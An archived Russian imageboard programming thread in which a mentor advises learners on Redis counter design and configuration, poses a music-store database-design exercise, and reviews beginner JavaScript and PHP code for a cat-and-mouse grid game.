- число параллельно подсоединенных клиентов (maxclients)
- настройки сохранения данных на диск, AOF и RDB, придется сначала разобраться как каждая работает. Ими ты выбираешь между надежностью, производительностью и объемом дискового трафика.

http://redis.io/topics/persistence

Обрати внимание, там есть еще одна настройка stop-writes-on-bgsave-error которая заставляет редис прекращать прием команд на запись в случае ошибок сохранения (без нее все будет плохо).

В общем, алгоритм выглядит адекватно, думаю, что он почти готов, вопросы по нему такие:

- не отказаться ли от pva? Аргумент: так проще
- не отказаться ли от отдельной таблицы счетчиков? Так проще
- не группировать ли апдейты? Будет меньше запросов
- в каком порядке коммитим mysql/redis?
- какие настройки редиса ты выставляешь? AOF/RDB - что используешь и с какими параметрами?

По поводу потребления памяти редисом - единственный способ получить ее примерно таким тестом:

- очищаем редис
- делаем команду INFO MEMORY и смотрим что потребление памяти близко к нулю
- загоняем в редис нужное число данных, например 100 000
- делаем INFO MEMORY еще раз

Можешь сделать, если есть время, и оценить расход памяти на один элемент очереди, сета.

И еще по поводу названий ключей. Обычно двоеточием разделяют префикс ключа от параметров, например

visit:127.0.0.1:1234

В твоем случае, чтобы не сбивать с толку, возможно стоит использовать другой разделитель или просто писать камелкейсом.
#692 #568986
>>567311

О, давай-ка с тобой разберемся. Я помню, ты выше писал что хочешь поскорее доделать проект. Если так, то ты должен жертвовать какими-то фичами, отказываясь от них или упрощая их, но не стоит делать их в спешке или плохо. На реальных проектах такое кстати часто встречается, я не помню такого, чтобы времени было много.

То есть лучше сделать меньше, но хорошо.

Теперь по поводу подсчета посещений.

Я вспомнил кое-что. По поводу использования одного хеша с многими ключами (page:visits:unique) против хранения отдельных ключей (visit:{IP}:{id}): второй подход дает большую масштабируемость, к примеру можно разнести ключи по 2 и более серверам (или ядрам), а вот хеш нельзя. Масштабируемость важная штука так как редис однопоточный и его процесс больше одного ядра процессора использовать не может.

Эта возможность масштабирования благодаря независимости отдельных ключей - важное преимущество NoSQL решений перед реляционными базами данных вроде MySQL (чтобы ее масштабировать, надо отказаться от джйонов, транзакций, внешних ключей + допиливать приложение). Хорошее NoSQL хранилище масштабируется на несколько серверов из коробки, не требуя доработок приложения. Потому они часто используются в высоконагруженных приложениях с не очень важными данными вроде социальных игр.

В твоем случае, впрочем, мы можем решить что нагрузки у нас не такие большие и масштабируемость нам не нужна. Но ты должен помнить про эту особенность.

> set page:visits:added. Мне понадобился этот сет, чтобы избежать накопления одинаковых id в очереди.


Но в чем проблема накопления одинаковых id? Если мы храним в p:v:count только не сброшенную в БД дельту, то проблемы ведь быть не должно? Можно ли тогда отказаться от этого сета?

> 2) находим id в хеше p:v:c, делаем incr (насколько я понял, если поля нет, то команда создаст его автоматически, присвоит 0, а затем уже сделает +1)


Да

> Получается скромная очередь только из id посещенных страниц, но будет много обращений к редису в процессе переноса в базу. Возлагаю надежды на транзакции.


Зря. Сила NoSQL хранилищ как раз во многом из-за отстутсивя в них транзакций. Например с транзакциями не получится простое масштаирование на несколько серверов.

Я пролистал документацию http://redis.io/topics/transactions и вижу как минимум такие подвохи:

- в ходе транзакции надо проверять не было ли ошибок в одной из команд, иначе эта ошибочная команда проигнорируется (с версии 2.6.5 редис стал умнее и не будет выполнять такие транзакции)

И что еще хуже:

> Errors happening after EXEC instead are not handled in a special way: all the other commands will be executed even if some command fails during the transaction.


То есть редис не гарантирует что все команды в транзакции будут выполнены. Это совсем не то же что транзакции в MySQL например.

В общем, транзакции использовать можно, но стоит помнить про эти подвохи и соответственно проектировать алгоритм чтобы он был отказоустойчив сам по себе.

Заметь что блокировки там тоже сделаны по-другому. Например вместо пессимистичных блокировок (строка, обновленная транзакцией, блокируется на время ее выполнения) там добровольные оптимистичные, основанные на команде WATCH (редис запоминает значение ключа в момент вызова WATCH и если к моменту EXEC оно изменится, транзакция изменяется, и клиент может попробовать повторить попытку).

По поводу алгоритма:

>2. Ходит в цикле и берет куски из очереди (например по 1000 элементов за одну транзакцию).


> 2.1. Здесь второй цикл, который ходит по этим 1000 id и запрашивает из редиса кол-во посещений для данного id.


У меня такая мысль: мы же можем просто класть каждое уникальное посещение в очередь. А при выборке суммировать их и группировать, чтобы получить дельты. И тогда мы можем отказаться от pvq и pva. Соответственно уменьшится число записей в редис и сильно уменьшится вероятность потери/повторного учета данных. Или я что-то не учел? Например, мы не сможем получить точное значение счетчика в текущий момент (которое считается как число в базе + дельта в редисе). Да, это недостаток. Но от pva то наверно можно отказаться?

Если использовать только очередь, то у нас одна точка отказа: ошибка между коммитом транзакции и удалением блока из очереди. У тебя впрочем при использовании транзакции тоже вроде остается одна точка отказа (между 2 коммитами в БД и редис).

Обрати внимание, что там можно еще сделать группировку при выполнении апдейтов. Если тебе надо увеличить счетчик на 5 для объявлений 100, 200, 300 то это можно сделать одним UPDATE, а не тремя. Это должно хорошо работать если у нас маленькое число просмотров разбросано по большому числу объявлений так, что большинство получает 1-2 просмотра.

> Кстати я так и не понял, вынести счетчики в отдельную таблицу или оставить в таблице объявлений. Там вроде свои плюсы и минусы: либо лишний джойн, либо большое кол-во обращений к главной таблице. Думаю все же вынести в отдельную таблицу.


Без тестов по производительности (сравнивать время выборки из таблицы с и без параллельно работающим скриптом обновления) что-то сказать трудно, считаю это лишним усложнением. Строки, по которым делается UPDATE, блокируются до конца транзакции, но если транзакции не длинные по времени, то вероятность что читающий скрипт в них попадет, мне кажется, невелика. Поэтому не стоит делать гигантские транзакции (на сотни тысяч строк).

Не вижу особой выгоды от отдельной таблицы. Ты же все равно будешь к ней обращаться (и ловить блокировки), плюс ты не сможешь делать составные индексы вида город + просмотры (для поиска популярных объявлений в городе).

По поводу настройки редиса: у него есть важные параметры, которые ты должен настроить:

- ограничение на объем памяти (maxmemory)
- что делать если память закончилась? (maxmemory-policy и возможно там по умолчанию стоит «выкинуть лишние ключи»)
- число параллельно подсоединенных клиентов (maxclients)
- настройки сохранения данных на диск, AOF и RDB, придется сначала разобраться как каждая работает. Ими ты выбираешь между надежностью, производительностью и объемом дискового трафика.

http://redis.io/topics/persistence

Обрати внимание, там есть еще одна настройка stop-writes-on-bgsave-error которая заставляет редис прекращать прием команд на запись в случае ошибок сохранения (без нее все будет плохо).

В общем, алгоритм выглядит адекватно, думаю, что он почти готов, вопросы по нему такие:

- не отказаться ли от pva? Аргумент: так проще
- не отказаться ли от отдельной таблицы счетчиков? Так проще
- не группировать ли апдейты? Будет меньше запросов
- в каком порядке коммитим mysql/redis?
- какие настройки редиса ты выставляешь? AOF/RDB - что используешь и с какими параметрами?

По поводу потребления памяти редисом - единственный способ получить ее примерно таким тестом:

- очищаем редис
- делаем команду INFO MEMORY и смотрим что потребление памяти близко к нулю
- загоняем в редис нужное число данных, например 100 000
- делаем INFO MEMORY еще раз

Можешь сделать, если есть время, и оценить расход памяти на один элемент очереди, сета.

И еще по поводу названий ключей. Обычно двоеточием разделяют префикс ключа от параметров, например

visit:127.0.0.1:1234

В твоем случае, чтобы не сбивать с толку, возможно стоит использовать другой разделитель или просто писать камелкейсом.
#693 #568987
>>568972

А расскажи, что ты уже изучил? Какие технологии, библиотеки, языки?

>>568975

Если ты делаешь выводы, почему накосячил и принимаешь меры чтобы не повторить ту же ошибку то нормально.

>>568976

Наоборот, сейчас замечательное время, огромный выбор платформ и языков, айфоны и айпады, высокоскоростная глобальная сеть, огромное число возможностей, раньше такого не было.
#694 #568988
>>567311

И еще обрати внимание: алгоритм сброса RDB файла подразумевает форк, то есть создание второй копии процесса редиса со всеми данными. Это значит что в худшем случае он может занять столько же памяти сколько и первый (а в лучшем почти ничего не занять) и значит ты должен ставить максимальный объем памяти не более 50% RAM на сервере (+ учесть сколько памяти выделено на другие программы).
#695 #568989
>>568987

>Наоборот, сейчас замечательное время, огромный выбор платформ и языков, айфоны и айпады, высокоскоростная глобальная сеть, огромное число возможностей, раньше такого не было.


Ну я имел ввиду, что знать только язык и стандартную библиотеку недостаточно для того чтобы работать. Темпы разработки возросли в разы и уровни абстракций тоже. Нужно знать дополнительно несколько специализированных фреймворков для той области в которой работаешь.
#696 #568993
>>567127

> Нет не сводятся. Нужен практический опыт. Например мне было бы интересно услышать тз по базе турагентства, какие данные должны там храниться, я бы подумал как это грамотно спроектировать.


Хотя я считаю, что главное что нужно, это понимание принципов нормализации (именно понимание, а не заучивание определений), но разумеется, я с удовольствием могу придумать задачи на создание баз данных с большим числом таблиц. Точнее, для начала с небольшим, а то вдруг ты передумаешь.

1) Интернет-магазин по продаже музыки (убийца itunes и google play)

Нужно сделать базу данных для хранения информации об имеющемся ассортименте, а также продажах и подписках на сервис. У нашего сервиса будет сложный интерфейс с возможностью поиска исполнителей, альбомов и отдельных треков по разным критериям: жанр, год выхода, исполнитель, название.

Жанр задается для трека, их может быть несколько. Альбом или сборник может содержать треки разных жанров.

Исполнителем называется группа или сольный артист, если он предпочитает издавать записи под своим именем. Существуют альбомы-сплиты и альбомы-сборники, где собраны треки нескольких исполнителей. Существуют треки, в записи которых участвовало несколько исполнителей. Более того, треки которые исполняет группа + приглашенный участник из другой группы (факт этой связи может быть важен). Есть каверы и ремиксы, то есть исполнение одним исполнителем песни другого исполнителя.

Учитывать отдельно авторство слов, музыки, звукорежиссеров и прочих посторонних людей не требуется. Альбомы выпускаются лейблами, они ставят нам условия на проигрывание и продажу треков.

Пользователи смогут покупать отдельные треки и альбомы, покупать подписку, а также пользоваться пробным периодом и слушать музыку бесплатно. Все факты прослушивания должны учитываться для формирования отчетов для правообладателей, также надо формировать самые разные отчеты для менеджеров по развитию продукта.

Имеются региональные ограничения, например некоторые треки доступны только в части стран. Цена в разных странах также может быть разная и задается либо менеджером в национальной валюте, либо если не задана, вычисляется автоматически по цене в родной стране нашего сервиса. Стоимость покупки альбома не равна стоимости покупки всех треков в нем.

Для простоты, пусть цены формируются так: лейбл выделяет несколько категорий, каждый альбом относит к категории и задает цену на трек и на альбом отдельно. То есть все треки категории A у лейбла Silent Records стоят $0.99, а категории B - $0.74 для жителей США, а для жителей Северной Кореи они недоступны. Лейбл устанавливает как цену продажи трека, альбома, так и лицензионные отчисления за это. И отдельно лейбл задает отчисления для бесплатного прослушивания, ограничение на число прослушиванных треков лейбла данной категории пользователем в ходе пробного периода.

Правила и ограничения пробного периода таковы: время ограничено N днями, можно слушать не более X треков всего. Часть категорий альбомов у некоторых лейблов могут быть недоступны нам. Есть ограничение на число прослушиваний одного и того же трека, альбома, исполнителя в день. Подписка подразумевает те же ограничения, но в меньшем размере. За подписку можно платить ежемесячно, ежегодно - цены разные в разных странах. Нужна полная история покупок, подписок, бесплатного прослушивания, в том числе по трекам.

Еще менеджеры просят сделать промо-опцию: некоторые альбомы можно исключать из бесплатного прослушивания на определенный период (сразу после выхода).

Сервис должен поддерживать рекомендации, для простоты пусть это будет рекомендация на уровне исполнителей: если человек купил/слушал исполнителя A, может быть ему понравятся исполнители B, C и D.

Пользоваться сервисом можно только после регистрации, однако покупать треки и альбомы разово можно без нее. Для каждого факта прослушивания, подписки или покупки надо знать ее источник - канал, по которому пришел пользователь (то есть с какой-то рекламной компании, партнерского сайта). Таким образом менеджеры смогут оценить эффективность разных источников.

Вот примерные типы запросов, которые будут делаться к базе данных:

- Поиск альбомов, треков по году выхода, названию, исполнителю, альбому с выводом цены для данного пользователя
- Поиск доступных пользователю альбомов, треков по тем же критериям
- Поиск еще не прослушанных и не купленных записей по тем же критериям
- Поиск альбомов, треков, исполнителей по жанру, лейблу
- Поиск исполнителей по эпохе (диапазону лет)
- Поиск ремиксов/каверов на трек, поиск оригинала или всех версий трека
- Поиск рекомендуемых альбомов для данного альбома, исполнителя
- Учет прослушивания (платного или бесплатного), покупки трека, альбома
- Получение отчета по числу и виду прослушиваний для данного лейбла, по всем лейблам, подсчет стоимости этого для сервиса и полученного дохода
- Получение отчета по расходам/доходам за диапазон дат
- То же с разбиением по странам, каналам привлечения, возрасту аккаунта
- Получение отчета по эффективности каналов привлечения: сколько принесли дохода пользователи с данного источника, сколько их пришло всего и в единицу времени, сколько мы понесли расхода, прибыль, временная активность (отношение суммы платежей к времени жизни аккаунта)

Я мог что-то пропустить, подумай сам тогда какие запросы понадобятся.
#696 #568993
>>567127

> Нет не сводятся. Нужен практический опыт. Например мне было бы интересно услышать тз по базе турагентства, какие данные должны там храниться, я бы подумал как это грамотно спроектировать.


Хотя я считаю, что главное что нужно, это понимание принципов нормализации (именно понимание, а не заучивание определений), но разумеется, я с удовольствием могу придумать задачи на создание баз данных с большим числом таблиц. Точнее, для начала с небольшим, а то вдруг ты передумаешь.

1) Интернет-магазин по продаже музыки (убийца itunes и google play)

Нужно сделать базу данных для хранения информации об имеющемся ассортименте, а также продажах и подписках на сервис. У нашего сервиса будет сложный интерфейс с возможностью поиска исполнителей, альбомов и отдельных треков по разным критериям: жанр, год выхода, исполнитель, название.

Жанр задается для трека, их может быть несколько. Альбом или сборник может содержать треки разных жанров.

Исполнителем называется группа или сольный артист, если он предпочитает издавать записи под своим именем. Существуют альбомы-сплиты и альбомы-сборники, где собраны треки нескольких исполнителей. Существуют треки, в записи которых участвовало несколько исполнителей. Более того, треки которые исполняет группа + приглашенный участник из другой группы (факт этой связи может быть важен). Есть каверы и ремиксы, то есть исполнение одним исполнителем песни другого исполнителя.

Учитывать отдельно авторство слов, музыки, звукорежиссеров и прочих посторонних людей не требуется. Альбомы выпускаются лейблами, они ставят нам условия на проигрывание и продажу треков.

Пользователи смогут покупать отдельные треки и альбомы, покупать подписку, а также пользоваться пробным периодом и слушать музыку бесплатно. Все факты прослушивания должны учитываться для формирования отчетов для правообладателей, также надо формировать самые разные отчеты для менеджеров по развитию продукта.

Имеются региональные ограничения, например некоторые треки доступны только в части стран. Цена в разных странах также может быть разная и задается либо менеджером в национальной валюте, либо если не задана, вычисляется автоматически по цене в родной стране нашего сервиса. Стоимость покупки альбома не равна стоимости покупки всех треков в нем.

Для простоты, пусть цены формируются так: лейбл выделяет несколько категорий, каждый альбом относит к категории и задает цену на трек и на альбом отдельно. То есть все треки категории A у лейбла Silent Records стоят $0.99, а категории B - $0.74 для жителей США, а для жителей Северной Кореи они недоступны. Лейбл устанавливает как цену продажи трека, альбома, так и лицензионные отчисления за это. И отдельно лейбл задает отчисления для бесплатного прослушивания, ограничение на число прослушиванных треков лейбла данной категории пользователем в ходе пробного периода.

Правила и ограничения пробного периода таковы: время ограничено N днями, можно слушать не более X треков всего. Часть категорий альбомов у некоторых лейблов могут быть недоступны нам. Есть ограничение на число прослушиваний одного и того же трека, альбома, исполнителя в день. Подписка подразумевает те же ограничения, но в меньшем размере. За подписку можно платить ежемесячно, ежегодно - цены разные в разных странах. Нужна полная история покупок, подписок, бесплатного прослушивания, в том числе по трекам.

Еще менеджеры просят сделать промо-опцию: некоторые альбомы можно исключать из бесплатного прослушивания на определенный период (сразу после выхода).

Сервис должен поддерживать рекомендации, для простоты пусть это будет рекомендация на уровне исполнителей: если человек купил/слушал исполнителя A, может быть ему понравятся исполнители B, C и D.

Пользоваться сервисом можно только после регистрации, однако покупать треки и альбомы разово можно без нее. Для каждого факта прослушивания, подписки или покупки надо знать ее источник - канал, по которому пришел пользователь (то есть с какой-то рекламной компании, партнерского сайта). Таким образом менеджеры смогут оценить эффективность разных источников.

Вот примерные типы запросов, которые будут делаться к базе данных:

- Поиск альбомов, треков по году выхода, названию, исполнителю, альбому с выводом цены для данного пользователя
- Поиск доступных пользователю альбомов, треков по тем же критериям
- Поиск еще не прослушанных и не купленных записей по тем же критериям
- Поиск альбомов, треков, исполнителей по жанру, лейблу
- Поиск исполнителей по эпохе (диапазону лет)
- Поиск ремиксов/каверов на трек, поиск оригинала или всех версий трека
- Поиск рекомендуемых альбомов для данного альбома, исполнителя
- Учет прослушивания (платного или бесплатного), покупки трека, альбома
- Получение отчета по числу и виду прослушиваний для данного лейбла, по всем лейблам, подсчет стоимости этого для сервиса и полученного дохода
- Получение отчета по расходам/доходам за диапазон дат
- То же с разбиением по странам, каналам привлечения, возрасту аккаунта
- Получение отчета по эффективности каналов привлечения: сколько принесли дохода пользователи с данного источника, сколько их пришло всего и в единицу времени, сколько мы понесли расхода, прибыль, временная активность (отношение суммы платежей к времени жизни аккаунта)

Я мог что-то пропустить, подумай сам тогда какие запросы понадобятся.
#697 #568997
>>567526

Во-первых что-то делать с массивом, который ты обходишь циклом не лучшая идея, так как затрудняет понимание кода.

У тебя букв в массиве быстро заканчиваются.

В первом шаге цикла в первом вызове ты оставляешь от массива [i, k] и вызвыаешь ano(v, [i, k]). Та функция вызовет ano(vi, [k]) и ano(vik, [])
Во втором шаге ты оставляешь в массиве [k] и вызываешь ano(vi, [k]) - этот шаг не даст тебе новых сочетаний

В общем у тебя ошибка, тебе надо не добавлять в цикле все в одну строку и уменьшать массив, а делать на кажлом шаге отдельную копию строки и массива.

Также, unset лучше заменить на while + array_shift

Также, чтобы отказаться от echo, надо не печатать, а накапливать слова в массив, те что сгенерированы и те что вернули вызовы дочерней функции.
#698 #569002
>>568976
в шарпе только асп.нет и линк базовые. а тут стопяцот однотипных симфони, уи, уи2, слим, лаварел, зенд. жумала, друпал, водрпресс и еще куча - не помню.
#699 #569004
>>568989
Узнать-то я их могу за один вечер, документацию прочитав, на каждом еще по сайту хуярить. И то будут носом вертеть - все один сайт и ведь каждая макака на своем фреймворке сидит, хуй угадаешь, каком.
#700 #569006
Аноны, почитайте-ка большой пост про автоматизированное тестирование: http://eax.me/unit-testing/

>>567906

- названия переменных и функций ужасные, почитай http://learn.javascript.ru/write-unmain-code
- unset заменяется на array_slice
- вместо echo можно поставить return

>>567943

> Ну я сделал так, но все равно не понимаю как посчитать количество клеток по горизонтали и вертикали одновременно без моей функции.


Хорошо, давай подойдем с другой стороны. Допустим кошка стоит выше мышки на 5 клеток. Сколько ей надо ходов чтобы добраться до нее (при условии что мышка стоит на месте)?

А если мы сместим мышку право на 1 клетку? На 2? На 5? на 10?

> Еще я не понимаю, почему плохо использовать декартово расстояние:


В общем это не плохо но число ходов даст более точное значение. Ведь мир искажен, кошка по диагонали делает ход, проходя 1.44 клеточки (корень из 2).

> По моему делать функцию подсчета ходов, это верный путь к запутыванию самого себя когда дело дойдет до поиска ошибок.


Она простая.
#701 #569013
Как скоро php7 станет востребованным? Когда начнут использовать везде?
#702 #569019
>>568063

Оп пост читал? Там аж 2 книги есть, правда не совсем для начинающих.

>>568295

Собирать в функции все сгенерированные слова в массив и возвращать его.

>>568435

Да.

Array.prototype.slice.call(arguments) значит «взять функцию slice из прототипа массива (то есть тот метод который вызвается при вызове [...].slice(...)) и вызвать ее, передав в качестве this объект arguments». Учебник

https://learn.javascript.ru/object-methods
https://learn.javascript.ru/call-apply

Соответсвтенно в call можно передать и аргументы. Стандарт JS разрешает вызов slice на псевдомассивах вместо настоящих массивов.

>>568436

- нет "use strict"; в начале функции для включения строгого режима

var args = Array.prototype.slice.call(arguments);
var args = args.slice(1);

Это можно сделать за 1 вызов.

> var args1


название ужасное

>>568440

Сменили чтобы не путаться.

В цикле можно в условие добавить чтобы он не продолжал цикл если j вышло за пределы массива.

Также, по моему ты передаешь больше аругментов чем требуется. Закрыл эту лазейку, проверить код с новым тестом можно пока тут:

http://codedokode.github.io/jasmine-tests/?spec=6
#702 #569019
>>568063

Оп пост читал? Там аж 2 книги есть, правда не совсем для начинающих.

>>568295

Собирать в функции все сгенерированные слова в массив и возвращать его.

>>568435

Да.

Array.prototype.slice.call(arguments) значит «взять функцию slice из прототипа массива (то есть тот метод который вызвается при вызове [...].slice(...)) и вызвать ее, передав в качестве this объект arguments». Учебник

https://learn.javascript.ru/object-methods
https://learn.javascript.ru/call-apply

Соответсвтенно в call можно передать и аргументы. Стандарт JS разрешает вызов slice на псевдомассивах вместо настоящих массивов.

>>568436

- нет "use strict"; в начале функции для включения строгого режима

var args = Array.prototype.slice.call(arguments);
var args = args.slice(1);

Это можно сделать за 1 вызов.

> var args1


название ужасное

>>568440

Сменили чтобы не путаться.

В цикле можно в условие добавить чтобы он не продолжал цикл если j вышло за пределы массива.

Также, по моему ты передаешь больше аругментов чем требуется. Закрыл эту лазейку, проверить код с новым тестом можно пока тут:

http://codedokode.github.io/jasmine-tests/?spec=6
#703 #569021
>>568629

Ок, верно, хотя тут

> for (var i = 0; i < x; i++) {


>\t\t\tnewNewArr = newArr.name;


Можно было использовать ранее тобой же сделанную функцию pluck.

>>569004

Да не требуется обычно знать все фреймворки. А самые популярные можно получить анализом вакансий например. По моему для PHP это Юи/Юи 2 и Симфони 2.И я сильно сомневаюсь что их можно за неделю изучить, не говоря уже об одном дне.

>>569013

Когда все устаканится, появится в основных дистрибутивах линукса, будут адаптированы фрейморки и библиотеки, IDE, евангелисты напишут посты о преимуществах и подводных камнях. если у тебя есть блог, можешь написать.

Год(а)-два минимум.
#704 #569057
Аноны, переходите в новый тред >>569049 (OP)

Этот тред закрыт, 700 постов, пора бы и честь знать.
#705 #570087
>>569006

>> Ну я сделал так, но все равно не понимаю как посчитать количество клеток по горизонтали и вертикали одновременно без моей функции.


>Хорошо, давай подойдем с другой стороны. Допустим кошка стоит выше мышки на 5 клеток. Сколько ей надо ходов чтобы добраться до нее (при условии что мышка стоит на месте)?


>


>А если мы сместим мышку право на 1 клетку? На 2? На 5? на 10?


Предлагаешь что ли отдельно считать расстояние по X и по Y?

>> Еще я не понимаю, почему плохо использовать декартово расстояние:


>В общем это не плохо но число ходов даст более точное значение. Ведь мир искажен, кошка по диагонали делает ход, проходя 1.44 клеточки (корень из 2).


Не правда, кошка всегда будет проходить целое количество клеток. Высчитывание расстояния на это никак не влияет, только оценивает ход.

Я совершенно не понимаю эту задачу.
knutepjc nangemum #706 #578944
nkjnnffmbsa

brwdooo

jye
352 Кб, 1262x2422
#707 #580174
>>576499

>Многовато. Например наличие функции rateMoves подразуемевает что любое животное оценивает ход, но что если оно просто ходит случайно? Обязаны ли все животные реализовать этот метод?


Тогда мы сделаем чтобы эта оценочная функция выбирала случайный ход из всех возможных ходов. Да, этот метод нужен всем животным, потому что именно он определяет их поведение. К тому же в одном из тредов ты сам настаивал на этом.


пруф: >>556079

>Теперь по поводу алгоритма выбора хода. Он состоит из нескольких частей:



>1. Получить список возможных ходов


>2. Оценить каждый с помощью оценочной функции


>3. Выбрать лучший


>4. Выполнить его



>Тут есть общие для всех животных, а есть разные части. Что у каждого животного свое? Очевидно, оценочная функция (каждое животное имеет свои интересы), получение списка ходов (так как ходят они по-разному). Также в 4-м пункте может быть разница в том, что кошки едят мышек, а мышки только ходят.



>Ну а сама последовательность этих 4 действий общая для всех.



>Потому очевидно функции должны быть размещены по классам так:



>- алгоритм выполнения хода из 4 шагов, функция выбора лучшего хода - можно в классе Animal


>- получение списка ходов, оценочная функция, выполнение хода - в классах соответствующих животных.





>>576499

>То есть надо пройтись по списку функций и решить: эта функция нужна другим классам, потому она публичная. Или же эта функция используется только внутри животного и незачем выставлять ее наружу. Например, видеть координаты животного или его иконку другим объектам, разумеется, нужно. А вот знать как оно оценивает тот или иной ход или на кого оно охотится - зачем это видеть посторонним? Это внутреннее дело животного.


Думаю следует оставить методы:
-полученияКоординат()
-полученияСкорости()
-полученияОбзора()
-полученияСимвола()
-движения()
-смерти()

Остальные делать защищенными.

Один вопрос: В каком порядке должны идти абстрактные, публичные и защищенные методы? Сначала абстрактные или публичные?

>>576499

>> public function isItNotOneOfTrack($x, $y, $tracks) {


>1) имя запутанное. Почему нельзя сделать функцию isOneOfTrack, у которой более короткое и понятное название?


>2) функция возвращает либо false либо объект. Но функции is... обычно возвращают true/false.


Почему-то если в этой функции за место $object поставить true или поменять местами false/$object(true), чтобы можно было переименовать функцию на isOneOfTrack и потом проверять в условии с помощью !isOneOfTrack, то программа начинает вести себя странно: Кошки через всю карту попадают в угл, а затем исчезают пикрелейтед. Мне кажется это очень странным, и я решил не тратить силы на выяснение причин. Наверно мне стоит это выяснить.

>>576499

>> abstract function rateMoves($moves, $search);


>Почему так запутанно? В моем понимании функция оценки берет на вход координаты клеточки и возвращает оценку. Просто и понятно. А что принимает эта функция? Массив ходов и какой-то непонятный массив search. Тебе не кажется что это как-то сложнее получается? Ради чего усложняем функцию?


>В моем понимании функция оценки берет на вход координаты клеточки и возвращает оценку.


Такая функция есть - называется rateMove($x, $y, $search) https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Cat.php#L35
Правда избавиться от $search не получилось, но он нужен чтобы оценивать ход опираясь на искомое животное.

Не знаю почему я использую массивы тут. Наверно мне так показалось удобней принимать то что выдает программа. Не знаю как по другому можно сделать.

>>576499

>Наконец еще можно при съедении животного сразу делать $world->remove... то есть обращаться не к животному, а к миру.


Такое уже есть https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Animal.php#L172

>>576499

>> if (($forX > $x and $forY > $y) or ($forX > $x and $forY < $y)


>Не понимаю что и зачем тут проверяется


Чтобы мышка пропускала ходы по диагонали.
352 Кб, 1262x2422
#707 #580174
>>576499

>Многовато. Например наличие функции rateMoves подразуемевает что любое животное оценивает ход, но что если оно просто ходит случайно? Обязаны ли все животные реализовать этот метод?


Тогда мы сделаем чтобы эта оценочная функция выбирала случайный ход из всех возможных ходов. Да, этот метод нужен всем животным, потому что именно он определяет их поведение. К тому же в одном из тредов ты сам настаивал на этом.


пруф: >>556079

>Теперь по поводу алгоритма выбора хода. Он состоит из нескольких частей:



>1. Получить список возможных ходов


>2. Оценить каждый с помощью оценочной функции


>3. Выбрать лучший


>4. Выполнить его



>Тут есть общие для всех животных, а есть разные части. Что у каждого животного свое? Очевидно, оценочная функция (каждое животное имеет свои интересы), получение списка ходов (так как ходят они по-разному). Также в 4-м пункте может быть разница в том, что кошки едят мышек, а мышки только ходят.



>Ну а сама последовательность этих 4 действий общая для всех.



>Потому очевидно функции должны быть размещены по классам так:



>- алгоритм выполнения хода из 4 шагов, функция выбора лучшего хода - можно в классе Animal


>- получение списка ходов, оценочная функция, выполнение хода - в классах соответствующих животных.





>>576499

>То есть надо пройтись по списку функций и решить: эта функция нужна другим классам, потому она публичная. Или же эта функция используется только внутри животного и незачем выставлять ее наружу. Например, видеть координаты животного или его иконку другим объектам, разумеется, нужно. А вот знать как оно оценивает тот или иной ход или на кого оно охотится - зачем это видеть посторонним? Это внутреннее дело животного.


Думаю следует оставить методы:
-полученияКоординат()
-полученияСкорости()
-полученияОбзора()
-полученияСимвола()
-движения()
-смерти()

Остальные делать защищенными.

Один вопрос: В каком порядке должны идти абстрактные, публичные и защищенные методы? Сначала абстрактные или публичные?

>>576499

>> public function isItNotOneOfTrack($x, $y, $tracks) {


>1) имя запутанное. Почему нельзя сделать функцию isOneOfTrack, у которой более короткое и понятное название?


>2) функция возвращает либо false либо объект. Но функции is... обычно возвращают true/false.


Почему-то если в этой функции за место $object поставить true или поменять местами false/$object(true), чтобы можно было переименовать функцию на isOneOfTrack и потом проверять в условии с помощью !isOneOfTrack, то программа начинает вести себя странно: Кошки через всю карту попадают в угл, а затем исчезают пикрелейтед. Мне кажется это очень странным, и я решил не тратить силы на выяснение причин. Наверно мне стоит это выяснить.

>>576499

>> abstract function rateMoves($moves, $search);


>Почему так запутанно? В моем понимании функция оценки берет на вход координаты клеточки и возвращает оценку. Просто и понятно. А что принимает эта функция? Массив ходов и какой-то непонятный массив search. Тебе не кажется что это как-то сложнее получается? Ради чего усложняем функцию?


>В моем понимании функция оценки берет на вход координаты клеточки и возвращает оценку.


Такая функция есть - называется rateMove($x, $y, $search) https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Cat.php#L35
Правда избавиться от $search не получилось, но он нужен чтобы оценивать ход опираясь на искомое животное.

Не знаю почему я использую массивы тут. Наверно мне так показалось удобней принимать то что выдает программа. Не знаю как по другому можно сделать.

>>576499

>Наконец еще можно при съедении животного сразу делать $world->remove... то есть обращаться не к животному, а к миру.


Такое уже есть https://github.com/someApprentice/Cat-and-Mouse/blob/master/Classes/Animal.php#L172

>>576499

>> if (($forX > $x and $forY > $y) or ($forX > $x and $forY < $y)


>Не понимаю что и зачем тут проверяется


Чтобы мышка пропускала ходы по диагонали.
Тред утонул или удален.
Это копия, сохраненная 16 ноября 2015 года.

Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее

Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.
« /pr/В начало тредаВеб-версияНастройки
/a//b//mu//s//vg/Все доски